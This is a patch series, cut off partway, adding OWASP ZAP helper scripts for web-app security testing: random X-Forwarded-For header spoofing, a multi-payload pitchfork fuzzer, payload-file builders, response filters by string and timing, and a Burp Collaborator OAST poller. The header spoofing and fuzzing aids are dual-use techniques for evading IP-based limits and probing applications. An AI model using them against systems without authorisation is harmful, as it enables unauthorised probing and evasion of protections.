From 93a1322ac9891dffaf84edf7b471d915bf439742 Mon Sep 17 00:00:00 2001 From: timruff Date: Wed, 17 May 2023 09:03:16 +0200 Subject: [PATCH 01/29] add file AddHeaderXFowardForRandomIP.js to httpsender MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpsender/AddHeaderXForwardForRandomIP.js | 25 ++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 httpsender/AddHeaderXForwardForRandomIP.js diff --git a/httpsender/AddHeaderXForwardForRandomIP.js b/httpsender/AddHeaderXForwardForRandomIP.js new file mode 100644 index 00000000..2cb677b1 --- /dev/null +++ b/httpsender/AddHeaderXForwardForRandomIP.js @@ -0,0 +1,25 @@ +// @author Ruffenach Timothée +// Add in Header response X-Forwarded-For: Random IP +// The sendingRequest and responseReceived functions will be called for all requests/responses sent/received by ZAP, +// including automated tools (e.g. active scanner, fuzzer, ...) + +// Note that new HttpSender scripts will initially be disabled +// Right click the script in the Scripts tree and select "enable" + +// For the latest list of 'initiator' values see the HttpSender class: +// https://github.com/zaproxy/zaproxy/blob/main/zap/src/main/java/org/parosproxy/paros/network/HttpSender.java +// 'helper' just has one method at the moment: helper.getHttpSender() which returns the HttpSender +// instance used to send the request. + +// In order to facilitate identifying ZAP traffic and Web Application Firewall exceptions, ZAP is accompanied +// by this script which can be used to add a specific header to all traffic that passes through +// or originates from ZAP. e.g.: X-ZAP-Initiator: 3 + +function sendingRequest(msg, initiator, helper) { + var random_ip = Math.floor(Math.random() * 254)+ "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254); + msg.getRequestHeader().setHeader("X-Forwarded-For", random_ip); +} + +function responseReceived(msg, initiator, helper) { + // Nothing to do here +} From cbb4c5489be50f4f52365d9fe7161449aa1b75fc Mon Sep 17 00:00:00 2001 From: timruff Date: Wed, 17 May 2023 11:04:18 +0200 Subject: [PATCH 02/29] rename AddHeaderXForwardForRandomIP.js to AddHeaderXForwardedForRandomIP.js MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- ...erXForwardForRandomIP.js => AddHeaderXForwardedForRandomIP.js} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename httpsender/{AddHeaderXForwardForRandomIP.js => AddHeaderXForwardedForRandomIP.js} (100%) diff --git a/httpsender/AddHeaderXForwardForRandomIP.js b/httpsender/AddHeaderXForwardedForRandomIP.js similarity index 100% rename from httpsender/AddHeaderXForwardForRandomIP.js rename to httpsender/AddHeaderXForwardedForRandomIP.js From 9c8550fb877315deb7acd89b6b6eaba4433cc8d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 17 May 2023 11:29:21 +0200 Subject: [PATCH 03/29] remove name and add comment origin script MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpsender/AddHeaderXForwardedForRandomIP.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/httpsender/AddHeaderXForwardedForRandomIP.js b/httpsender/AddHeaderXForwardedForRandomIP.js index 2cb677b1..cc2b24eb 100644 --- a/httpsender/AddHeaderXForwardedForRandomIP.js +++ b/httpsender/AddHeaderXForwardedForRandomIP.js @@ -1,4 +1,4 @@ -// @author Ruffenach Timothée +// The original script comes from the Fuzzer HTTP Processor section under the name random_x_forwarded_for_ip.js // Add in Header response X-Forwarded-For: Random IP // The sendingRequest and responseReceived functions will be called for all requests/responses sent/received by ZAP, // including automated tools (e.g. active scanner, fuzzer, ...) From 62827ce1de0a02ab828273f87403ef8b1a1ea9d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 17 May 2023 13:48:03 +0200 Subject: [PATCH 04/29] add comment name MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpsender/AddHeaderXForwardedForRandomIP.js | 1 + 1 file changed, 1 insertion(+) diff --git a/httpsender/AddHeaderXForwardedForRandomIP.js b/httpsender/AddHeaderXForwardedForRandomIP.js index cc2b24eb..97f181d2 100644 --- a/httpsender/AddHeaderXForwardedForRandomIP.js +++ b/httpsender/AddHeaderXForwardedForRandomIP.js @@ -1,3 +1,4 @@ +// @author Ruffenach Timothée // The original script comes from the Fuzzer HTTP Processor section under the name random_x_forwarded_for_ip.js // Add in Header response X-Forwarded-For: Random IP // The sendingRequest and responseReceived functions will be called for all requests/responses sent/received by ZAP, From a52e39d27901b185249e5b0c09d26510da4b6404 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Sat, 20 May 2023 10:15:24 +0200 Subject: [PATCH 05/29] add file pitchWork.py in httpfuzzerprocessor MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/pitchWork.py | 84 ++++++++++++++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 httpfuzzerprocessor/pitchWork.py diff --git a/httpfuzzerprocessor/pitchWork.py b/httpfuzzerprocessor/pitchWork.py new file mode 100644 index 00000000..ea72691c --- /dev/null +++ b/httpfuzzerprocessor/pitchWork.py @@ -0,0 +1,84 @@ +# Version 1.0 +# @author RUFFENACH Timothée +# Script inspired from https://02108124551050482571.googlegroups.com/attach/54c6e34f6fe20/message_processor.js?part=0.1&view=1&vt=ANaJVrEJuACewYorhYYa_zyhyMSug06pmlERCqfYdLsukQBC3OW3LATuXG1WHk_Fw9a0nhexG8ykFDuFgBGYrKAg_pOQ61M36MwC9SOBGvK4KLZn3eDkNzY (dot run on owasp 2.12.0) +# The script fuzz in mode pitchfork. +# To Use : Enable script. +# In fuzzer Add 2 EmptyNull with good number. +# Select two 2 files and launch the fuzzer. + +from java.nio.file import Paths +from javax.swing import JFileChooser +from org.zaproxy.zap.extension.fuzz.payloads.generator import FileStringPayloadGenerator + +payloads1 = None +payloads2 = None +init = False + +def processMessage(utils, message): + global payloads1, payloads2, init + + if not init: + initialise() + + # Stop if has end of payloads + if not (payloads1.hasNext() and payloads2.hasNext()): + utils.stopFuzzer() + payloads1.close() + payloads2.close() + return + + # Get the next value of payloas + payload1 = payloads1.next().getValue() + payload2 = payloads2.next().getValue() + + # Get information of body and replace with payload value + body = message.getRequestBody().toString() + body = body.replace(utils.getPaylaods().get(0).getValue(), payload1) + body = body.replace(utils.getPaylaods().get(1).getValue(), payload2) + + # Set payload value to show in Fuzzer + utils.getPaylaods().set(0, payload1) + utils.getPaylaods().set(1, payload2) + + # Apply the payload in body + message.getRequestBody().setBody(body) + message.getRequestHeader().setContentLength(message.getRequestBody().length()) + +def processResult(utils, fuzzResult): + return True + +def initialise(): + global payloads1, payloads2, init + + # Choose file1 for first payload + fileChooser = JFileChooser() + fileChooser.setMultiSelectionEnabled(True) + filePath1 = "" + result = fileChooser.showOpenDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + selectedFiles = fileChooser.getSelectedFiles() + for file in selectedFiles: + filePath1 = file.getAbsolutePath() + print('The path is :', filePath1) + + # Choose file2 for second payload + fileChooser = JFileChooser() + fileChooser.setMultiSelectionEnabled(True) + filePath2 = "" + result = fileChooser.showOpenDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + selectedFiles = fileChooser.getSelectedFiles() + for file in selectedFiles: + filePath2 = file.getAbsolutePath() + print('The path is :', filePath2) + + # Setup path + file1 = Paths.get(filePath1) + file2 = Paths.get(filePath2) + + # Get payload in file to var payloads + payloads1 = FileStringPayloadGenerator(file1).iterator() + payloads2 = FileStringPayloadGenerator(file2).iterator() + init = True From 184ee22725476c6a64cf145e8cb4aaef8c328949 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Sat, 20 May 2023 15:05:18 +0200 Subject: [PATCH 06/29] correction to pitchwork.py, add multiple payloads gestion MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/pitchWork.py | 113 +++++++++++++++++-------------- 1 file changed, 63 insertions(+), 50 deletions(-) diff --git a/httpfuzzerprocessor/pitchWork.py b/httpfuzzerprocessor/pitchWork.py index ea72691c..7b962d1a 100644 --- a/httpfuzzerprocessor/pitchWork.py +++ b/httpfuzzerprocessor/pitchWork.py @@ -1,13 +1,16 @@ -# Version 1.0 +# Version 1.1 # @author RUFFENACH Timothée # Script inspired from https://02108124551050482571.googlegroups.com/attach/54c6e34f6fe20/message_processor.js?part=0.1&view=1&vt=ANaJVrEJuACewYorhYYa_zyhyMSug06pmlERCqfYdLsukQBC3OW3LATuXG1WHk_Fw9a0nhexG8ykFDuFgBGYrKAg_pOQ61M36MwC9SOBGvK4KLZn3eDkNzY (dot run on owasp 2.12.0) +# To resolve problem at from https://github.com/zaproxy/zaproxy/issues/2967 # The script fuzz in mode pitchfork. # To Use : Enable script. -# In fuzzer Add 2 EmptyNull with good number. -# Select two 2 files and launch the fuzzer. +# In fuzzer Add number multiple EmptyNull payloads with a good number of iterations. +# Select the desired number of payloads [limit 2 to 20] +# Select the desired number of files [limit 2 to 20] from java.nio.file import Paths from javax.swing import JFileChooser +from javax.swing import JOptionPane from org.zaproxy.zap.extension.fuzz.payloads.generator import FileStringPayloadGenerator payloads1 = None @@ -15,70 +18,80 @@ init = False def processMessage(utils, message): - global payloads1, payloads2, init + global number, payloads, init if not init: initialise() # Stop if has end of payloads - if not (payloads1.hasNext() and payloads2.hasNext()): - utils.stopFuzzer() - payloads1.close() - payloads2.close() - return - - # Get the next value of payloas - payload1 = payloads1.next().getValue() - payload2 = payloads2.next().getValue() - - # Get information of body and replace with payload value - body = message.getRequestBody().toString() - body = body.replace(utils.getPaylaods().get(0).getValue(), payload1) - body = body.replace(utils.getPaylaods().get(1).getValue(), payload2) + for i in range(number): + # if end of payload stop fuzzing + if not payloads[i].hasNext(): + utils.stopFuzzer() + # close all payload + for j in range(number): + payloads.close() + return - # Set payload value to show in Fuzzer - utils.getPaylaods().set(0, payload1) - utils.getPaylaods().set(1, payload2) - - # Apply the payload in body - message.getRequestBody().setBody(body) - message.getRequestHeader().setContentLength(message.getRequestBody().length()) + for i in range(number): + # Get the next value of payloads + # Get information of body and replace with payload value + payloadNext = payloads[i].next().getValue() + body = message.getRequestBody().toString() + body = body.replace(utils.getPaylaods().get(i).getValue(), payloadNext) + # Set payload value to show in Fuzzer + utils.getPaylaods().set(i,payloadNext) + # set payload in body + message.getRequestBody().setBody(body) + message.getRequestHeader().setContentLength(message.getRequestBody().length()) def processResult(utils, fuzzResult): return True -def initialise(): - global payloads1, payloads2, init - - # Choose file1 for first payload +def chooseFile(): fileChooser = JFileChooser() fileChooser.setMultiSelectionEnabled(True) - filePath1 = "" + filePath = "" result = fileChooser.showOpenDialog(None) if result == JFileChooser.APPROVE_OPTION: selectedFiles = fileChooser.getSelectedFiles() for file in selectedFiles: - filePath1 = file.getAbsolutePath() - print('The path is :', filePath1) - - # Choose file2 for second payload - fileChooser = JFileChooser() - fileChooser.setMultiSelectionEnabled(True) - filePath2 = "" - result = fileChooser.showOpenDialog(None) + filePath = file.getAbsolutePath() + print('The path is :', filePath) - if result == JFileChooser.APPROVE_OPTION: - selectedFiles = fileChooser.getSelectedFiles() - for file in selectedFiles: - filePath2 = file.getAbsolutePath() - print('The path is :', filePath2) - - # Setup path - file1 = Paths.get(filePath1) - file2 = Paths.get(filePath2) + return filePath + +def chooseNumber(): + number = JOptionPane.showInputDialog(None, "How many payload do you wante [2 to 20]:", "Input", JOptionPane.QUESTION_MESSAGE) + + # Check number between 2 to 20 + if int(number) > 1 and int(number) < 21: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between 2 to 20") + chooseNumber() + +def initialise(): + global init + global payloads + global number + + payloads = [] + filePaths = [] + + # input number of payloads + number = -1 + while number == -1: + number = chooseNumber() + + # choose file user + for i in range(number): + filePaths.append(chooseFile()) + + # Get payload in file to var payloads + for i in range(number): + payloads.append(FileStringPayloadGenerator(Paths.get(filePaths[i])).iterator()) - # Get payload in file to var payloads - payloads1 = FileStringPayloadGenerator(file1).iterator() - payloads2 = FileStringPayloadGenerator(file2).iterator() init = True From 89f3feb02c4b24c5b83c7ce2738c7a82ea193bf6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Sat, 20 May 2023 19:35:42 +0200 Subject: [PATCH 07/29] correction syntax MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/pitchWork.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/httpfuzzerprocessor/pitchWork.py b/httpfuzzerprocessor/pitchWork.py index 7b962d1a..90d3feed 100644 --- a/httpfuzzerprocessor/pitchWork.py +++ b/httpfuzzerprocessor/pitchWork.py @@ -63,7 +63,7 @@ def chooseFile(): return filePath def chooseNumber(): - number = JOptionPane.showInputDialog(None, "How many payload do you wante [2 to 20]:", "Input", JOptionPane.QUESTION_MESSAGE) + number = JOptionPane.showInputDialog(None, "How many payload do you want [2 to 20]:", "Input", JOptionPane.QUESTION_MESSAGE) # Check number between 2 to 20 if int(number) > 1 and int(number) < 21: From 2d4f87d67de29e9fb85d864e73857822b8ae9e7a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Sun, 21 May 2023 13:29:15 +0200 Subject: [PATCH 08/29] add fileActions.py in standalone MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/fileActions.py | 205 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 205 insertions(+) create mode 100644 standalone/fileActions.py diff --git a/standalone/fileActions.py b/standalone/fileActions.py new file mode 100644 index 00000000..cdb1784d --- /dev/null +++ b/standalone/fileActions.py @@ -0,0 +1,205 @@ +# @author RUFFENACH Timothée +# Version 1.0 +# Scrip to edit file +# Help me for lab burpsuite resolve with zap + +from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane +from java.io import File, FileWriter +from java.awt.event import WindowAdapter, WindowEvent +from java.awt import Toolkit + +class SelectionMenu(JFrame): + def __init__(self): + JFrame.__init__(self, "Selection Menu") + self.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE) + self.setSize(500, 300) + self.getContentPane().setLayout(None) + + # Create selection menu + options = ["Inserting a character string alternately", "Duplicate data file"] + + # Create scrolling menu + self.dropdown = JComboBox(options) + self.dropdown.setBounds(50, 50, 200, 30) + self.dropdown.addActionListener(self.selection_changee) + self.getContentPane().add(self.dropdown) + + # center windows + self.center_window() + + # Add event listener for closing the window + self.addWindowListener(CustomWindowAdapter()) + + def selection_changee(self, event): + selected_option = self.dropdown.getSelectedItem() + + if selected_option == "Inserting a character string alternately": + self.dropdown.setPopupVisible(False) + self.fonction_option1() + elif selected_option == "Duplicate data file": + self.dropdown.setPopupVisible(False) + self.fonction_option2() + + # close scrolling menu + self.dropdown.setPopupVisible(False) + + def fonction_option1(self): + + # get mandatory data + alternate = self.getNumber(1,100, "How many alternate do you want between [1 to 100]") + print("alternate number", alternate) + string = self.getString() + print("string", string) + filePath = self.chooseFile() + print("path", filePath) + + + # get number line of file + file = open(filePath, "r") + nb_line = 0 + for line in file: + nb_line += 1 + file.close() + + # the file can't have 0 line + if nb_line == 0: + JOptionPane.showMessageDialog(None, "Empty file", "Alerte", JOptionPane.WARNING_MESSAGE) + return 0 + + # alternate must slower line of file + if alternate > nb_line: + JOptionPane.showMessageDialog(None, "The alternate line don't not more greatet when the line of file", "Alerte", JOptionPane.WARNING_MESSAGE) + return 0 + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + # add \n to data + string += "\n" + + # make new data + i = alternate + while i < len(data): + data.insert(i,string) + i += alternate + 1 + + self.saveFile(data) + + def fonction_option2(self): + + copy = self.getNumber(1,100, "How many copy data file do you want [1 to 100]") + filePath = self.chooseFile() + print("path", filePath) + # get number line of file + + file = open(filePath, "r") + nb_line = 0 + for line in file: + nb_line += 1 + file.close() + + # the file can't have 0 line + if nb_line == 0: + JOptionPane.showMessageDialog(None, "Empty file", "Alerte", JOptionPane.WARNING_MESSAGE) + return 0 + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + dataCopy=[] + for i in range(copy): + dataCopy = dataCopy + data + + self.saveFile(dataCopy) + + def saveFile(self,data): + # create instance JFileChooser + file_chooser = JFileChooser() + + # debug + #for i in range(len(data)): + # print(data[i]) + + # show dialog box + result = file_chooser.showSaveDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + # get select file + file = file_chooser.getSelectedFile() + + # get path + path_file = file.getAbsolutePath() + + # write data + with open(path_file, "w") as file: + for i in range(len(data)): + file.write(data[i]) + + print("File saved :", path_file) + else: + print("Save cancel.") + + def chooseFile(self): + fileChooser = JFileChooser() + fileChooser.setMultiSelectionEnabled(True) + filePath = "" + result = fileChooser.showOpenDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + selectedFiles = fileChooser.getSelectedFiles() + for file in selectedFiles: + filePath = file.getAbsolutePath() + print('The path is :', filePath) + + return filePath + + + def getNumber(self,min,max,asked): + number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) + + if int(number) >= min and int(number) <= max: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) + self.chooseNumber() + + + def getString(self): + stringInput = JOptionPane.showInputDialog(None, "what is your string : ", "Input", JOptionPane.QUESTION_MESSAGE) + + return stringInput + + + def center_window(self): + screenSize = Toolkit.getDefaultToolkit().getScreenSize() + screenWidth = screenSize.width + screenHeight = screenSize.height + windowWidth = self.getWidth() + windowHeight = self.getHeight() + + # caclul to center windows + posX = (screenWidth - windowWidth) // 2 + posY = (screenHeight - windowHeight) // 2 + + self.setLocation(posX, posY) + +class CustomWindowAdapter(WindowAdapter): + def windowClosing(self, event): + confirm_closing() + +def confirm_closing(): + reponse = JOptionPane.showConfirmDialog(None, "Do you want close script ?", "Confirmation", JOptionPane.YES_NO_OPTION) + if reponse == JOptionPane.YES_OPTION: + menu.dispose() # close windows en free up resouces + else: + pass # do nothing + +# menu +menu = SelectionMenu() +menu.setVisible(True) + From 2ca32f992cbdd8218f8100e206cb57bf6266b377 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Mon, 22 May 2023 20:19:50 +0200 Subject: [PATCH 09/29] add filtersResultWithStringOnBodyResponse.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- .../filtersResultWithStringOnBodyResponse.py | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py diff --git a/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py new file mode 100644 index 00000000..736b81eb --- /dev/null +++ b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py @@ -0,0 +1,52 @@ +# @author Timothée Ruffenach +# Version 1.0 +# filters the fuzzing result with a string. + +from javax.swing import JOptionPane + + +# global variable +init = False +entry = "" +isCheck = False + +# Called after injecting the payloads and before forward the message to the server. +def processMessage(utils, message) : + global number,payloads + if not init: + initialise() + + +def initialise(): + global init,entry,isCheck + + entry = "" + + # ask stings to find + while entry == "": + entry = getString("what character string do you want to find ?") + if entry == "": + JOptionPane.showMessageDialog(None, "Empty string","Waring", JOptionPane.WARNING_MESSAGE) + # ask reverse message + isCheck = JOptionPane.showConfirmDialog(None, "Reverse", "Confim", JOptionPane.YES_NO_OPTION) + + + init = True + +# Called after receiving the fuzzed message from the server +def processResult(utils, fuzzResult) : + global entry,isCheck + body = fuzzResult.getHttpMessage().getResponseBody().toString() + + # test all posibility + if isCheck == JOptionPane.NO_OPTION and entry in body: + return bool(1); + elif isCheck == JOptionPane.YES_OPTION and entry in body: + return bool(1); + else: + return bool(0); + +# Question +def getString(question): + stringInput = JOptionPane.showInputDialog(None, question, "Input", JOptionPane.QUESTION_MESSAGE) + return stringInput From 6193f5d15c11fe5aaada4c2f6a7c36c8cfbff24e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Tue, 23 May 2023 07:41:32 +0200 Subject: [PATCH 10/29] fix issue in filtersResultWithSringOnBodyResonse.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py index 736b81eb..87ad427f 100644 --- a/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py +++ b/httpfuzzerprocessor/filtersResultWithStringOnBodyResponse.py @@ -41,7 +41,7 @@ def processResult(utils, fuzzResult) : # test all posibility if isCheck == JOptionPane.NO_OPTION and entry in body: return bool(1); - elif isCheck == JOptionPane.YES_OPTION and entry in body: + elif isCheck == JOptionPane.YES_OPTION and not entry in body: return bool(1); else: return bool(0); From 8246fb7f9fbdc8072fbdd8740078aff41a85cfe1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Tue, 23 May 2023 13:26:52 +0200 Subject: [PATCH 11/29] add function in fileActions.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/fileActions.py | 70 ++++++++++++++++++++++++++++----------- 1 file changed, 51 insertions(+), 19 deletions(-) diff --git a/standalone/fileActions.py b/standalone/fileActions.py index cdb1784d..e6bb78d8 100644 --- a/standalone/fileActions.py +++ b/standalone/fileActions.py @@ -1,5 +1,5 @@ # @author RUFFENACH Timothée -# Version 1.0 +# Version 1.1 # Scrip to edit file # Help me for lab burpsuite resolve with zap @@ -16,11 +16,11 @@ def __init__(self): self.getContentPane().setLayout(None) # Create selection menu - options = ["Inserting a character string alternately", "Duplicate data file"] + options = ["Inserting a character string alternately", "Duplicate data file", "Create Json tab with data file"] # Create scrolling menu self.dropdown = JComboBox(options) - self.dropdown.setBounds(50, 50, 200, 30) + self.dropdown.setBounds(50, 50, 400, 20) self.dropdown.addActionListener(self.selection_changee) self.getContentPane().add(self.dropdown) @@ -39,6 +39,9 @@ def selection_changee(self, event): elif selected_option == "Duplicate data file": self.dropdown.setPopupVisible(False) self.fonction_option2() + elif selected_option == "Create Json tab with data file": + self.dropdown.setPopupVisible(False) + self.fonction_option3() # close scrolling menu self.dropdown.setPopupVisible(False) @@ -92,18 +95,8 @@ def fonction_option2(self): copy = self.getNumber(1,100, "How many copy data file do you want [1 to 100]") filePath = self.chooseFile() print("path", filePath) - # get number line of file - - file = open(filePath, "r") - nb_line = 0 - for line in file: - nb_line += 1 - file.close() - # the file can't have 0 line - if nb_line == 0: - JOptionPane.showMessageDialog(None, "Empty file", "Alerte", JOptionPane.WARNING_MESSAGE) - return 0 + self.getNumberLine(filePath) # read data of file file = open(filePath, "r") @@ -116,14 +109,54 @@ def fonction_option2(self): self.saveFile(dataCopy) + def fonction_option3(self): + + filePath = self.chooseFile() + print("path", filePath) + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + # get numberline + self.getNumberLine(filePath) + + # create tab JSon + dataJson =[] + dataJson.append("[\n") + + for i in range(len(data)): + dataJson.append("\""+data[i].rstrip('\n')+"\",\n") + + dataJson.append("]\n") + + + + self.saveFile(dataJson) + + + # get number line file + def getNumberLine(self,filePath): + nb_line = 0 + + while nb_line < 1: + file = open(filePath, "r") + + for line in file: + nb_line += 1 + file.close() + + # the file can't have 0 line + if nb_line == 0: + JOptionPane.showMessageDialog(None, "Empty file", "Alerte", JOptionPane.WARNING_MESSAGE) + + return nb_line + def saveFile(self,data): # create instance JFileChooser file_chooser = JFileChooser() - # debug - #for i in range(len(data)): - # print(data[i]) - # show dialog box result = file_chooser.showSaveDialog(None) @@ -202,4 +235,3 @@ def confirm_closing(): # menu menu = SelectionMenu() menu.setVisible(True) - From ef64087379fe6c21926172d19feb859db3382309 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Fri, 2 Jun 2023 20:49:45 +0200 Subject: [PATCH 12/29] add RTT_time_filter.py to httpfuzzerprocessor MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- httpfuzzerprocessor/RTT_time_filter.py | 44 ++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 httpfuzzerprocessor/RTT_time_filter.py diff --git a/httpfuzzerprocessor/RTT_time_filter.py b/httpfuzzerprocessor/RTT_time_filter.py new file mode 100644 index 00000000..e0cfef21 --- /dev/null +++ b/httpfuzzerprocessor/RTT_time_filter.py @@ -0,0 +1,44 @@ +# Version 1.0 +# @author RUFFENACH Timothée +# filter by RTT (time request). + +from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane + +# Auxiliary variables/constants needed for processing. +global time,isCheck; +init = False + +def getNumber(min,max,asked): + number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) + + if int(number) >= min and int(number) <= max: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) + getNumber() + +# Called after injecting the payloads and before forward the message to the server. +def processMessage(utils, message) : + if (init == False): + initialise() + +def initialise(): + global init,entry,isCheck + global time; + time = getNumber(1,50000,"how many time do you want ?") + isCheck = JOptionPane.showConfirmDialog(None, "more high or equal (YES) esle less or equal (NO)", "Confirm", JOptionPane.YES_NO_OPTION) + init = True + + +# Called after receiving the fuzzed message from the server +def processResult(utils, fuzzResult) : + global isChek,time + if isCheck == JOptionPane.YES_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) >= time): + return bool(1) + elif isCheck == JOptionPane.NO_OPTION and (int(fuzzResult.getHttpMessage().getTimeElapsedMillis()) <= time): + return bool(1) + else: + return bool(0); + + From ea7c1a66275e91f26e49fe19abda211d7063c335 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Sun, 4 Jun 2023 08:32:57 +0200 Subject: [PATCH 13/29] add OAST_Listen_Burp_Colaborator.py to standalone MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/OAST_Listen_Burp_Colaborator.py | 88 ++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 standalone/OAST_Listen_Burp_Colaborator.py diff --git a/standalone/OAST_Listen_Burp_Colaborator.py b/standalone/OAST_Listen_Burp_Colaborator.py new file mode 100644 index 00000000..1b07c05f --- /dev/null +++ b/standalone/OAST_Listen_Burp_Colaborator.py @@ -0,0 +1,88 @@ +# Version 1.0 +# @author RUFFENACH Timothée +# Get OAST burp colaborator. + +from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane +import urllib2 +import json +import sys +import base64 +import time + + +global biid + +def main(): + global biid + biid = getString("what is your biid ?") + + # Get number for update info + update = getNumber(1,3600, "how many time do you want refresh information ?") + + while True: + # URL request + url = "http://polling.oastify.com/burpresults?biid="+biid + + # Get response + response = urllib2.urlopen(url) + data = response.read() + + # analyse response JSON + json_data = json.loads(data) + + # get json data + browseJson(json_data) + + # wait + time.sleep(update) + +# find object JSON +def browseJson(obj, path=""): + if isinstance(obj, dict): + for key, value in obj.items(): + newPath = path + "." + key if path else key + browseJson(value, newPath) + elif isinstance(obj, list): + for index, item in enumerate(obj): + newPath = path + "[{}]".format(index) + browseJson(item, newPath) + else: + obj = str(obj) + obj = convertBase64(obj) + sys.stdout.write("key : {}\n".format(path)) + sys.stdout.write("info : {}\n\n".format(obj)) + +# check if string is base64 and convert it +def convertBase64(text): + # Add padding + padding = len(text) % 4 + textBase64 = text + if padding > 0: + textBase64 += '=' * (4-padding) + try: + # Decode string + textDecode = base64.b64decode(textBase64).decode('utf-8') + return textDecode + except Exception as e: + if str(e) == 'Incorrect padding': + return text + else: + # if not base64, is not decoded + return text + +def getNumber(min,max,asked): + number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) + + if int(number) >= min and int(number) <= max: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) + getNumber() + + +def getString(question): + stringInput = JOptionPane.showInputDialog(None, question, "Input", JOptionPane.QUESTION_MESSAGE) + return stringInput + +main() From a1261746910f41147012764285f288fa11629f09 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Sun, 4 Jun 2023 09:20:03 +0200 Subject: [PATCH 14/29] remove decode(utf-8) in OAST_Listen_Burp_Colaborator.py MIME-Version: 1.0 Content-Type: text/plain; 